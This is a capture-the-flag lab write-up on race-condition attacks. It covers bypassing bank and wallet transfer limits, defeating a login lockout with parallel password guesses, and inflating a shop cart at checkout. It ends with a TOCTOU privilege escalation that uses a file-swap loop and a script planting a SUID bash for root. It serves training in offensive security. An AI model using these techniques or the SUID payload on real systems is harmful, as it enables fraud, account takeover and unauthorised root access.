> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/race-conditions.md).

# Race Conditions

{% embed url="<https://www.hacksmarter.org/courses/f26a5a3e-e73d-43be-b880-be3ea20571d2>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Environment

The diagram below gives a brief idea of how these three websites are interconnected. We have a banking website MWR Bank `http://mwrbank.loc`, a mobile wallet MWR MOMO `http://mwrmomo.loc` and a meme swag shop `http://mwrswag.loc`.

<figure><img src="/files/seoEu5bUQUoVdkXYfBZq" alt=""><figcaption></figcaption></figure>

## Credentials

Furthermore, the following credentials are provided to us.

```
{
    'ben.taylor' : 'pw_Ben!02',
    'cara.jones' : 'pw_Cara!03',
    'daniel.k' : 'pw_Daniel!04',
    'emma.smith' : 'pw_Emma!05',
    'felix.ng' : 'pw_Felix!06',
    'grace.lee' : 'pw_Grace!07',
    'hugo.m' : 'pw_Hugo!08',
    'ivy.chen' : 'pw_Ivy!09',
    'jack.r' : 'pw_Jack!10',
    'kira.patel' : 'pw_Kira!11'
}
```

## Race 1: Transaction Limits - MWR Bank <a href="#user-content-mwr-bank" id="user-content-mwr-bank"></a>

The first challenge begins with the bank app. We need to authenticate with any given credentials and need to find the arbitrary limit being imposted. We are advised to play arround with the transaction function. We log in as `ben.taylor`.

<figure><img src="/files/aIO0j4khiHGk1ONiPcpb" alt=""><figcaption></figcaption></figure>

We identify the following account numbers, which we will use to perform transactions between them. Our goal is to transfer arbitrary amounts from `acfcf96c-5c55-4f02-9c44-449991f49f6b` to `f66d041f-e264-41dd-9a60-8ccf59d88912` in order to determine whether any transaction limits exist. If such limits are present, we will assess whether they can be bypassed using a race condition that exploits a timing window in the limit-checking logic.

```
acfcf96c-5c55-4f02-9c44-449991f49f6b
```

```
f66d041f-e264-41dd-9a60-8ccf59d88912
```

First, we try to transfer an amount that exceeds our limit. We capture the request in Burp Suite and redirect the request to the repeater module.

We see that our transaction is stopped with a message stating that we have an insufficient balance.

<figure><img src="/files/4yHUK08viNtxl1nzmglY" alt=""><figcaption></figcaption></figure>

Okay, so let's try to execute several transactions at the same time that are below the limit but would exceed our balance in total. We add the tab to a group.

<figure><img src="/files/9zeLuwmweHNa5y2FvUvU" alt=""><figcaption></figcaption></figure>

Next, we send the same request to the repeater by right clicking it and chosing that option. Furthermore we edit the amount to `5000` for each request. Next we chose the option to Send the request in the group in parallel (last-byte-sync).&#x20;

Last-byte sync is a technique where Burp Suite sends almost the entire request but holds back the very last byte of data; once all requests are ready, it releases those final bytes simultaneously to ensure they hit the server at the exact same moment.

<figure><img src="/files/mdz2ULbayyTVUSG4UDPs" alt=""><figcaption></figcaption></figure>

We see that both transactions are made.

<figure><img src="/files/02kwMJWtcSC3a5lgCuN0" alt=""><figcaption></figcaption></figure>

We reload the page in but do not spot the flag, but a negative balance on `f66d041f-e264-41dd-9a60-8ccf59d88912`, we exceeded the limit.

<figure><img src="/files/it3TaRcUvZtmYMaI8UAl" alt=""><figcaption></figcaption></figure>

If we scroll through the HTTP history in Burp Suite we are able to spot the flag in the response of the  request `/api/v1.0/account`.

<figure><img src="/files/MQhvBzpxMBqcj7XQdUd3" alt=""><figcaption></figcaption></figure>

## Race 2: Account Logon Limit

In Race 2 we are tasked to bypass the logon limit and get access as `violet.c`. If we have had multiple bad log in request the account gets locked. We remeber the password structure from the given credentials list.

The password structure consists of the prefix `pw_`, followed by the user's capitalized first name, an exclamation mark, and a two-digit sequential number.

```
{
    'ben.taylor' : 'pw_Ben!02',
    'cara.jones' : 'pw_Cara!03',
    'daniel.k' : 'pw_Daniel!04',
    'emma.smith' : 'pw_Emma!05',
    'felix.ng' : 'pw_Felix!06',
    'grace.lee' : 'pw_Grace!07',
    'hugo.m' : 'pw_Hugo!08',
    'ivy.chen' : 'pw_Ivy!09',
    'jack.r' : 'pw_Jack!10',
    'kira.patel' : 'pw_Kira!11'
}
```

Furthermore we get a hint the account is anywhere between 12-40 on the list of accounts. That might be the two-digit sequential number, the id.&#x20;

> A little hint, this account is anywhere between 12 - 40 on the list of accounts. Remember, you probably only got one shot at this!

So we end up with a password like the following but have only less than 5 tries.

```
pw_Violet!XX
```

We apply the knowledge gained from the first task and compile a list of request in a group with increasing sequential numbers in the password. Next, we use  the `Send group in parallel (last-byte sync)` option to ensure the requests hit the server simultaneously, aiming to bypass the 'wrong password' increment check before the account lockout triggers.

{% hint style="info" %}
The numbering of the tabs is arbitrary and based on previous requests in Burp. I recommend trying at least up to sequential number 30 in the password.
{% endhint %}

<figure><img src="/files/gaDLy9frWDclQ0N4ODjv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/phfVNdE0pSOk9KRPUtlo" alt=""><figcaption></figcaption></figure>

We check each request and end up with a valid session token.

<figure><img src="/files/AEuyWC64P40XGU3YjAet" alt=""><figcaption></figcaption></figure>

Next, we add that token in the browser and refresh the page. We are logged in as `violet.c`.

<figure><img src="/files/Lh1gfuJGlgxhNlDFif6R" alt=""><figcaption></figcaption></figure>

As described in the task, we find the flag in the session token. We decode it and find the second flag.

<figure><img src="/files/GFb7LNphCHkwZ8JZa65b" alt=""><figcaption></figcaption></figure>

## Race 3: Mo Money Mo Limits&#x20;

In Mo Money Mo Limits, we interact between the banking app and the wallet app. We have the option to transfer money from the banking app to the wallet app. We try to do the same as in the first task and attempt to transfer more money to the wallet than the limit allows. If we succeed, we have the opportunity to generate more money than we possess.

We continue with the user account `ben.taylor`. We log in to the `ben.taylor` to the wallet and notice that the account numbers to the bank app are the same.

<figure><img src="/files/O6jvCIBQiYA2TkP3VGlQ" alt=""><figcaption></figcaption></figure>

We make a MoMo transaction that does not exceed our limits, but that is high enough if it is executed twice to exceed the limit. We intercept the request using Burp Suite.

<figure><img src="/files/viZuP8wcXgx2XQoIlIxn" alt=""><figcaption></figcaption></figure>

We group the request and generate a duplicate. Afterwards we use  the `Send group in parallel (last-byte sync)` option gain to ensure the requests hit the server simultaneously. We get the flag in the response...

<figure><img src="/files/fZmw7kcMcbFILwMn9h3F" alt=""><figcaption></figcaption></figure>

... and see that the wallet receives both transaction even though it exceeded the limits.

<figure><img src="/files/F7rs1QXC2EMgESB98EVI" alt=""><figcaption></figcaption></figure>

## Race 4: Shopping Cart Full of Wonder

In Shopping Cart Full of Wonder we are tasked to identfiy the arbitrary limit by ourself.

{% hint style="info" %}
I had various ideas here, such as paying with other accounts and exploiting the race condition when checking account numbers and passwords. Furthermore I tried multiple checkouts or adding an infinte amount of items to the cart or creating multiple carts, but it was much more simpler.
{% endhint %}

We proceed with the account `kira.patel` in this case. Others are valid too.&#x20;

We note down the credentials and the wallet adress we need to buy items.

```
kira.patel:pw_Kira!11
```

```
1d2b6a37-2400-4c18-bd75-6f57f10f38a4
```

<figure><img src="/files/410tqm2CNqIU9CTy48G8" alt=""><figcaption></figcaption></figure>

We log in as kira.patel on `http://mwrswag.log` fill up a cart that we can afford with that account and intercept the request and redirect it to the repeater.&#x20;

{% hint style="info" %}
The idea is to checkout while adding more items to the cart.

So the cart status goes to paid on the original amount, but we are getting more value by adding more items to the cart that still get shipped to us.
{% endhint %}

<figure><img src="/files/SqXt4b4zTdlf54FBluLd" alt=""><figcaption></figcaption></figure>

Again we create a group tab. Request one is our checkout. Furthermore we add more items to the cart, but intercept those requests and add them to the tab group exceeding our balance....

<figure><img src="/files/UBlYLv3YEGgELqpGMe6A" alt=""><figcaption></figcaption></figure>

...like shown below. We use the `Send group in parallel (last-byte sync)` option gain to ensure the requests hit the server simultaneously.&#x20;

<figure><img src="/files/mVihb9fJyMUuYOvY94aY" alt=""><figcaption></figcaption></figure>

And we get the flag in the response...

<figure><img src="/files/5RZVSt7QwwyruWqoHRBf" alt=""><figcaption></figcaption></figure>

## Race 5: Local Privilege Escalation

Now that we have all the flags, we can use them to form the password and log in to the machine via SSH as `lpe`. Here we see that we can execute the script `/lpe/script.py` as `root` without a password using `sudo`.

```
ssh lpe@10.1.37.129
```

<figure><img src="/files/IKan2amaNMfres1BfPt6" alt=""><figcaption></figcaption></figure>

We are not able to edit the script, but we are able to read it.

<figure><img src="/files/qwQfgP1OZkmFVFkvARmU" alt=""><figcaption></figcaption></figure>

In short we can see that the script does the following

* It reads `/lpe/tmp/script.py`
* Computes its MD5
* Computes MD5 of `/lpe/script.py` (the orginial script)
* It compares the hashes and continues if they match
* If they match the script updates itself with the content of `/lpe/tmp/script.py`

There is a delay that enabales a TOCTOU (Time-of-Check to Time-of-Use) vulnerability.

* Long loop with `sleep(0.001)` × 100
* Expensive math calls

{% code title="script.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
#!/usr/bin/python3

import os, sys
import hashlib
from pathlib import Path
import time
import math

class UpdateRoutine:
    def __init__(self):
        self.name = "Update System Routing"
        self.folder = str(Path(__file__).resolve().parent) + "/tmp/"


    def md5sum(self, path: str | Path, chunk_size: int = 1024 * 1024) -> str:
        h = hashlib.md5()
        path = Path(path)
        with path.open("rb") as f:
            for chunk in iter(lambda: f.read(chunk_size), b""):
                h.update(chunk)
        return h.hexdigest()

    def update(self):

        #Step one of update is to get the file and the checksum

        new_script = self.folder + "script.py"
        checksum_file = str(Path(__file__).resolve().parent) + "/script.py"


        #Check that these files exist
        if not os.path.exists(new_script) or not os.path.exists(checksum_file):
            print ("Please provide the update script in the working directory + /tmp/script.py")
            sys.exit()

        #Now we want to calculate the hash of the script
        md5 = self.md5sum(Path(new_script))
        md5_current = self.md5sum(Path(checksum_file))

        if (md5 == md5_current):
            #We have the hashes, but now we first need to make sure that our install will work. Let's remove the current script
            for x in range (100):
                val = str(x + 1)
                while len(val) < 3:
                    val = "0" + val

                    math.log10(math.pow(12,x))
                    time.sleep(0.001)

                print ("Initialing checks: " + str(val) + "%")
            print ("Checks done, starting patch")

            copy_command = "cp " + new_script + " " + checksum_file
            os.system(copy_command)
            print ('Patch complete')
            sys.exit()
        else:
            print ("Hashes did not match, integrity compromised. Quitting")
            sys.exit()


if __name__ == "__main__":
    runner = UpdateRoutine()
    runner.update()
```

{% endcode %}

The idea is now to replace the script in `/lpe/tmp/script.py` with a malicious one after the check has passed.

We create a script that crafts us a SUID bash binary to become `root`.

{% code title="mal\_script.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```
#!/usr/bin/python3
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
```

{% endcode %}

<figure><img src="/files/tOc57MEOimYxHqi6YzIU" alt=""><figcaption></figcaption></figure>

We will implement a mechanism to rapidly toggle the file in `/lpe/tmp/` between the legitimate and malicious versions to win the race condition. This 'spray and pray' approach relies on the high frequency of swaps to ensure the valid script is present for the hash check and the exploit script is present when the copy command executes.

```
while true; do
    cp /lpe/script.py /lpe/tmp/script.py
    cp /tmp/mal_script.py /lpe/tmp/script.py
done
```

<figure><img src="/files/IMvb4RwpZZgkrQlmcYB5" alt=""><figcaption></figcaption></figure>

We run the script...

```
sudo /lpe/script.py
```

<figure><img src="/files/shIXOff1NQNFsVnsCcDD" alt=""><figcaption></figcaption></figure>

... and see it got replaced with our malicious one.

<figure><img src="/files/O2dPlSbY93lRhTdsyMld" alt=""><figcaption></figcaption></figure>

Now we run our malicious script and get a SUID bash binary at `/tmp/bash`.

```
sudo /lpe/script.py
```

<figure><img src="/files/yDcFJ4Qm7gbUufp7fwbA" alt=""><figcaption></figcaption></figure>

We run the bash binary and become `root`. We find the flag at `/root/root.txt`.

```
/tmp/bash -p
```

<figure><img src="/files/FgRG9BIf0mbK5M319Lxg" alt=""><figcaption></figcaption></figure>

## Further Resources

{% embed url="<https://www.youtube.com/watch?v=9edv4rl5I-k>" %}
